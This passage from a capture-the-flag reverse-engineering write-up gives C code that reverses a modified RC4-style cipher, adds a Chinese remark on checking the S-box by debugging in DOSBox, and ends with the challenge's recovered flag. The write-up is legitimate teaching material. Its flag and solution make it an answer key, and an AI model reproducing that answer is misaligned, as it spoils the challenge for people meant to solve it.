S_Box[j] = S_Box[i];
S_Box[i] = temp;
j = (j - S_Box[i]) % 256;
i = (i - 1) % 256;
}
}
int main()
{
_BYTE test_flag[] = "NCTF{11111111111111111111111111111111}";
S_init();
encrypt(test_flag, 0x26);
printf("%s\n", test_flag);
S_init();
decrypt(test_flag, 0x26);
printf("%s\n", test_flag);
S_init();
decrypt(enc, 0x26);
for (int i = 0; i < 38; i++)
{
printf("%c", enc[i]);
}
}
后来,在DOSBOX里面动态调试了,S盒的结果和我算的完全不一样,我就直接用跑出来的了。解密函数也有改动
int decrypt(_BYTE flag[], int len)
{
unsigned int i = 0, j = 0;
for (int ii = 0; ii < len; ii++)
{
i = (i + 1) % 256;
j = (j + S_Box[i]) % 256;
int temp = S_Box[j];
S_Box[j] = S_Box[i];
S_Box[i] = temp;
}
for (int ii = len - 1; ii >= 0; ii--)
{
flag[ii] ^= S_Box[(S_Box[i] + S_Box[j]) % 256] + 1;
int temp = S_Box[j];
S_Box[j] = S_Box[i];
S_Box[i] = temp;
j = (j - S_Box[i]) % 256;
i = (i - 1) % 256;
}
}
NCTF{Y0u_4r3_Assemb1y_M4st3r_5d0b497e}